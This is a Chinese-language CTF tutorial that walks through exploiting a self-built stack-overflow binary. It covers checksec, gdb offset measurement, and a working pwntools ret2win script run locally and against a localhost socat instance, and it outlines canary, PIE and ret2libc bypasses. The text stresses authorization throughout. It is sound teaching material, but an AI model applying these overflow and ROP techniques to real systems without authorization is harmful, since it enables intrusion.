第一次打 PWN 题,最难受的不是不会,而是不知道顺序。题目给了一个二进制、一个 nc 地址,你知道大概要溢出,但先看什么、在哪下断点、本地跑通之后怎么连远程,心里没有谱。于是东试一下、西试一下,时间耗尽,题还没看懂。
这篇用一道自己出的入门题,把流程从头到尾走一遍。题目故意做成最经典的形态:栈溢出、没有 canary、没有 PIE、NX 开着,程序里有一个正常情况下不会走到的 win 函数,它会读取并打印 flag。目标不是「拿到 flag 就结束」,而是让你在每一步都知道自己在验证什么。
先读规则,再碰文件
拿到题目,先看三样东西:题目描述、附件、连接方式。描述里通常写了二进制架构、libc 版本、flag 格式、实例地址和端口。规则里会写允许做什么、禁止做什么,比如「只能连接给定端口」「不要 DoS」。这些不是客套话,违反规则通常直接取消成绩。
下载附件后,先做三件事:核对哈希、看文件类型、记录版本。哈希用于确认你本地的文件和远程跑的是同一个;如果没有给哈希,至少记下文件大小和修改时间。然后在自己的工作目录里解压、加执行权限,不要直接在下载目录里改来改去。
sha256sum warmup
file warmup
checksec --file=warmup
ldd ./warmup
假设这是一道入门题,checksec 的输出应该是:Partial RELRO、No canary found、NX enabled、No PIE。这四条决定了后面能走哪条路:没有 canary,可以线性覆盖返回地址;没有 PIE,函数地址固定;NX 开着,不能执行栈上的代码,但可以直接跳到程序里已有的 win。如果实际输出和这个假设不同,后面的步骤要相应调整,不能硬套。
静态分析:找输入点和目标函数
先不急着运行,先把程序的结构看清楚。用 objdump 列出函数,用 strings 找提示语和可疑路径,再挑出真正处理输入的那个函数。
objdump -d -M intel ./warmup | grep -E '^[0-9a-f]+ <'
strings -a ./warmup | grep -iE 'flag|input|name|win'
objdump -d -M intel ./warmup | sed -n '/<vuln>:/,/^$/p'
你会看到两类函数:一类是正常的 main、vuln,另一类是名字很直白的 win。反汇编 vuln 时关注三件事:它调用了哪个输入函数(gets、read、scanf)、缓冲区在栈帧里的偏移、允许读入的长度。如果看到 sub rsp, 0x30 之后用 rbp-0x20 作为缓冲区起点,那偏移就是 0x20 加 8 字节保存的 rbp,共 40;具体数值以你看到的反汇编为准。
再看 win。它可能直接调用 system("cat flag"),也可能用 open 加 read 打开文件。无论实现如何,你只需要它的入口地址。没有 PIE 时,这个地址在文件里是固定的,直接记下来即可。用 objdump 或 nm 都能拿到。
本地复现,量出真实偏移
静态分析给出的是「应该是多少」,还要用运行验证「实际是多少」。先正常输入一次,确认程序行为;再输入超长字符串,确认能触发崩溃。然后用 gdb 在 ret 前停下,看栈上的返回地址。
python3 -c "print('A'*40)" | ./warmup
python3 -c "print('A'*200)" | ./warmup; echo $?
gdb -q ./warmup
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
(gdb) break *0x4011a1 ; 换成你环境里 ret 的实际地址
(gdb) run < payload.txt
(gdb) x/8gx $rsp
(gdb) info registers rip rsp
如果 x/8gx $rsp 第一行是 0x4141414141414141,说明 40 个 A 正好覆盖到返回地址。再换 cyclic 精确测量:生成 100 字节模式串,崩溃后取 rip 或 $rsp 上的值,用 cyclic_find 反查偏移。把结果记下来:偏移、win 地址、ret 地址,这三个数字是后面脚本的输入。
这里有个常见误区:只看「程序崩了」就认为偏移对了。真正要确认的是「崩溃地址由我的输入决定」。如果崩溃地址是随机的库地址,说明你覆盖的不是返回地址,或者程序有别的保护,需要重新看反汇编。
构造本地链,先在自己机器上跑通
本地验证阶段不要连远程。用 pwntools 启动进程,把偏移、地址、对齐串成 payload,确认程序跳到 win 并打印出本地准备的假 flag。脚本里的地址从 ELF 读,不手抄;偏移从上一节量出来,不猜。
from pwn import *
context.binary = elf = ELF('./warmup')
context.log_level = 'info'
io = process('./warmup')
offset = 40
ret = ROP(elf).find_gadget(['ret']).address
payload = b'A' * offset + p64(ret) + p64(elf.symbols['win'])
io.sendline(payload)
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()
预期看到类似 flag{local_test_only} 的输出,然后进程退出。如果没有输出,分三种情况查:偏移不对,程序崩在 ret;对齐不对,崩在 libc 的 movaps;win 执行了但读不到文件,因为本地没有放 flag.txt,或者工作目录不对。这三种现象在上一篇的对照表里都有对应条目。
本地跑通的意义不是「拿到 flag」,而是证明你对二进制结构的判断成立。只有本地稳定复现,远程失败时你才有资格怀疑环境差异,而不是怀疑脚本本身。
连接官方实例,验证并拿到 flag
确认题目允许连接之后,把 process('./warmup') 换成 remote(host, port),host 和 port 只用题目描述里给的那一组。连接前先用 nc 手动看一眼提示语,确认协议和本地一致;如果不一致,先调整脚本的接收逻辑,不要盲目发送。
# 仅用于题目指定的官方实例
from pwn import *
context.binary = elf = ELF('./warmup')
io = remote('题目给出的主机', 题目给出的端口)
io.recvuntil(b'input:')
ret = ROP(elf).find_gadget(['ret']).address
payload = b'A' * 40 + p64(ret) + p64(elf.symbols['win'])
io.sendline(payload)
print(io.recvall(timeout=5).decode(errors='replace'))
远程可能和本地有三点不同:一是 win 的地址,如果题目开了 PIE,本地这个固定地址就不成立,需要先泄露;二是 libc 版本,如果链里用到 libc 函数,偏移会变;三是输入提示和超时,服务可能在特定字符串之后才读数据。遇到失败,先看 context.log_level='debug' 的收发记录,再回头核对这三项。
拿到 flag 后,按题目要求的格式提交,注意不要多复制空格或换行。flag 是比赛凭证,不要发到公开群、不要写进赛期公开的 writeup;比赛结束后再整理复盘,是对题目和其他参赛者的基本尊重。
如果题目升级了防护
入门题走通之后,下一道题很可能加上 Canary、PIE,或者同时开 NX 和 Full RELRO。思路不是把旧脚本改几个数字,而是重新确认「多了哪道墙、需要什么额外信息」。
有 Canary
线性覆盖会先撞上 canary。要么找到一个能泄露 canary 的读漏洞,把它原样带回;要么改打别的目标(函数指针、堆上的结构),绕开返回地址。没有泄露就直接硬写,通常只会得到 stack smashing detected。
有 PIE
函数地址不再固定。需要先泄露一个程序内地址(比如某个 GOT 项或返回地址),算出基址,再拼第二条链。部分覆盖只改低字节有时能省掉泄露,但依赖地址低位对齐,不是每道题都成立。
再往上还有 ret2libc:先泄露 libc 函数地址,算出 libc 基址,再调用 system 或执行一串系统调用。它的核心仍是 ROP,只是把「目标地址」从程序内换成了 libc 内,并且需要准确的 libc 版本。题目一般会提供 libc 文件,或者告诉你远程的发行版;没有这些信息,靠猜版本很难稳定。
这一节的目的是让你知道升级路径,不是让你现在就写出完整利用。防护叠加时,先把「缺哪条信息」列出来,再决定要不要继续;如果时间有限,换一道更基础的题,比在一道需要三重泄露的题上耗到比赛结束更划算。
复盘:把一次成功变成可复用的经验
做完题不要只保存脚本。写一份简短的复盘,至少包含:环境(架构、libc、保护)、侦察结论(输入点、偏移、目标地址)、失败记录(哪一步错了、怎么发现的)、最终 payload 的结构、以及「如果防护再加一层,下一步查什么」。这份复盘比 flag 更有价值,因为下一次遇到同类题,你可以直接套流程。
复盘里不要贴 flag 原文,也不要把题目附件重新分发。写清楚「思路」和「验证方法」,比写「一串神秘字符」对读者更有用。如果比赛还在进行,遵守平台的 writeup 时间要求。
现象对照表
| 现象 | 真实原因 | 第一步查什么 |
|---|---|---|
| 本地偏移 40 能打通,远程同样输入失败 | 远程二进制或 libc 与本地不同,地址整体偏移 | 核对附件哈希,对远程文件重新 checksec 和 ldd |
win 的地址在本地每次运行都变 | 题目开了 PIE,程序基址被随机化 | checksec 的 PIE 行,反汇编里地址是否固定 |
nc 连不上或连接被重置 | 实例未启动、端口写错、比赛已结束或规则限制来源 | 回看题目描述,先用 nc -v 手动连接 |
远程提示 stack smashing detected | 远程开了 Canary,本地附件可能没开或版本不同 | 核对远程保护,寻找 canary 泄露点 |
win 执行了但没有 flag 输出 | 远程工作目录不同,或 flag 路径由服务启动方式决定 | 确认题目是否要求通过服务读取,检查本地假 flag 的放置位置 |
| 提交 flag 提示无效 | 复制时带了空格、换了实例、或格式不对 | 逐字符核对,确认实例仍在有效期内 |
这张表可以直接当作出题后的检查清单。每次失败只改一个变量,改完记录结果,不然你永远不知道是哪一步起了作用。
边界与代价
CTF 是授权的模拟环境,不是真实系统。题目给的地址只能用于这道题;同一平台上的其他服务、其他队伍、同网段的主机,都不在授权范围内。把「比赛允许」理解成「整个网络随便打」,是很多新手犯过的错,后果可能是取消成绩,甚至法律责任。真实世界里,没有授权就没有测试,这条线不能模糊。
代价方面,第一是时间:一道题可能卡在环境、偏移、libc 版本上,几小时没有进展;要给每一阶段设时间盒,卡住就记下现象换题,而不是无限重试。第二是工具依赖:脚本能跑通不代表你理解了原理,换一道题就不会了;每道题至少手推一遍偏移和链的结构。第三是可迁移性:CTF 题为了教学会关掉一些保护,真实系统不会;不要把「靶场能打通」当成「真实系统也能打通」。第四是伦理成本:flag 可以证明能力,但不能证明你有权碰别人的系统。
真实踩坑与判断方法
第一个坑是文件本身不对。题目附件常常有多个版本,或者你点了两次、下到了旧文件,哈希和平台标注的不一致;解压失败还会留下一个 0 字节的同名文件。判断只有一个办法:先 sha256sum,和题目说明里的值逐位比,再 file 确认它是 ELF 而不是空文件或压缩包。拿错文件的后果是后面所有偏移、保护、libc 全部白算,而且现象非常像「脚本写错了」。
第二个坑是本地能打通、远程 win 也执行了,但没有 flag。本地你放的是自己写的 flag.txt,路径是当前目录;远程的 flag 由服务启动方式决定,可能根本不在工作目录里。判断:本地 win 打印出自己的假 flag,远程同样的 payload 只打印提示没有内容,说明控制流没问题,是文件路径或权限问题,回去看题目说明,而不是改偏移。
第三个坑是输入时序。远程服务通常先打印菜单或提示再读数据,脚本如果一连接就 sendline,字节会堆在缓冲区里,recvuntil 匹配不到预期文本,后面的交互全乱。判断:把 context.log_level 开成 debug,看实际收到的内容和发送顺序;能收到 banner 但 recvuntil 超时,说明提示文本和你写的不一样,可能多了空格、颜色码或换行。
连接阶段可以先用 nc 手动分三路判断:连上并看到欢迎信息,说明实例活着、端口正确,问题在 payload;连上立刻被断开,多半是实例未启动、过期或来源受限;连接超时,先怀疑地址和端口抄错。这三路分完再改脚本,效率高得多。
本机把这条链路真跑了一遍,用 socat 把自编译程序挂到本机端口,再用 pwntools 连上去:
$ socat TCP-LISTEN:10001,reuseaddr,fork,bind=127.0.0.1 EXEC:./warmup,stderr &
$ ss -lntp | grep 10001
LISTEN 0 5 127.0.0.1:10001 0.0.0.0:* users:(("socat",pid=<PID>,fd=5))
$ python3 exploit_remote.py
[*] Opening connection to 127.0.0.1 on port 10001: Done
you said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you win (local demo only)
flag: flag{local_test_only}
第一次跑并没有这么顺:脚本卡在 recvuntil(b'input:'),最后抛 EOFError。原因不在偏移,而在程序用 _exit(0) 结束——通过 socat 的管道连接时 stdout 是块缓冲,提示一直留在缓冲区里,客户端一个字节都收不到。把 win 里的 _exit 改成 exit(或加 fflush(stdout))后,同一份脚本立刻拿到 115 字节输出。这个坑在真实靶场里也常见,遇到「连上了但收不到回显」先查缓冲,再查地址。
防御视角的对应点,是这道题之外的真实流程:发现漏洞后走披露流程,先通知厂商、给出复现条件和修复建议,等补丁发布再公开细节;修复要配回归测试,确保同类输入路径都被覆盖;公开材料里对主机、账号、内部路径做脱敏;不要把可直接复用的利用代码连同真实目标一起发出去。CTF 教的是「怎么找到并验证」,真实工程更看重「怎么修好并且不再犯」,这两件事都需要同一套底层知识。
靶场里能验证的练习
- 自己写一个
warmup.c,包含一个 32 字节缓冲区、一个不会被调用的win函数,用-fno-stack-protector -no-pie编译,再用checksec确认保护组合。放一个本地flag.txt,让win读取并打印。 - 按本文流程走一遍:静态侦察、gdb 量偏移、写 pwntools 本地脚本、打印假 flag。把每一步的命令和输出记进笔记。
- 给同一道题加上 canary 重新编译,重复溢出,记录提示语和退出码;再思考「需要泄露什么才能继续」,只写分析,不要求实现完整利用。
- 加上 PIE 重新编译,观察
win地址每次运行的变化,说明为什么必须泄露基址,以及部分覆盖在什么条件下可能省掉这一步。 - 写一份 300 字以内的复盘,包含环境、漏洞点、偏移、链结构、失败记录和下一步;不要贴 flag,也不要把题目附件发给别人。
socat 把自编译的 warmup 挂到本机 127.0.0.1:10001,remote('127.0.0.1', 10001) 收到 115 字节,其中有 you win (local demo only) 和 flag: flag{local_test_only}。文中没有给出任何真实主机、端口或 flag。小结
三句话收一下:CTF 的第一步是读规则和核对文件,不是直接跑脚本;静态侦察确定保护、输入点和目标函数,动态调试量出真实偏移,本地跑通之后才连官方实例;每道题结束都写复盘,把「这次怎么成功」变成「下次怎么开始」。
到这里,PWN 基础系列的八篇走完了:从崩溃现象、内存布局、栈溢出、防护、ROP、堆、工具流,到一道题的完整流程。如果你还没把 Linux 环境跑起来,回第七篇的环境一节按步骤装完,再回来做上面五个练习。接下来可以选一个方向深入:想打比赛就多刷栈和堆的入门题,想做防御就去读 ASAN、CFI 和真实漏洞的修复记录。无论走哪条路,先把「只在授权环境里动手」当成第一条规则。